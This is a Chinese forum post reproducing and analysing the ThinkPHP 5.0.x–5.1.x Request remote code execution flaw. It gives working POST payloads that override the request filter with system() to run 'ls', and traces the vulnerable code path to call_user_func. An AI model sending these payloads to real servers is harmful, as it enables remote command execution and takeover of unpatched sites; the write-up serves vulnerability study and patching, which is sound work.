Thinkphp 5.X Request远程代码漏洞

dr003   ·   发表于 2021-04-17 15:24:21   ·   漏洞文章

Thinkphp 5.0.x~5.0.23 5.1.x~5.1.31 5.2.0beta1 Request远程代码漏洞

漏洞复现

5.0.22的复现情况 漏洞复现靶场就是这个

未开启app_debug 但是存在xxx的method路由 如captcha

payload

POST …./index.php?s=xxx(路由)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

5.0.10版本

打开调试模式

将app_debug改为true

通过POST传入_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

效果同上

漏洞分析

以5.0.10源码分析

public index.php 是入口文件

文件包含thinkphp/start.php

调用app:run函数

查看app.php 找到run函数

首先,实例化request

然后一连串初始化

进行url路由检测 routecheck

routecheck中562行 route:check

调用method函数

$method=false config get var_method 在config.php中 初始化var_method是_method

所以method 返回__construct

return调用construct函数

覆盖filter为system

返回app.php

打开了debug 所以type 是method

转到exec函数

进入case method调用回调函数

进入param函数

再次调用method函数

接收REQUEST_METHOD

回到param

return input函数 调用filtervalue

调用call_user_func

执行system(ls);

成功利用漏洞

打赏我,让我更有动力~

0 条回复   |  直到 2021-4-17 | 1407 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.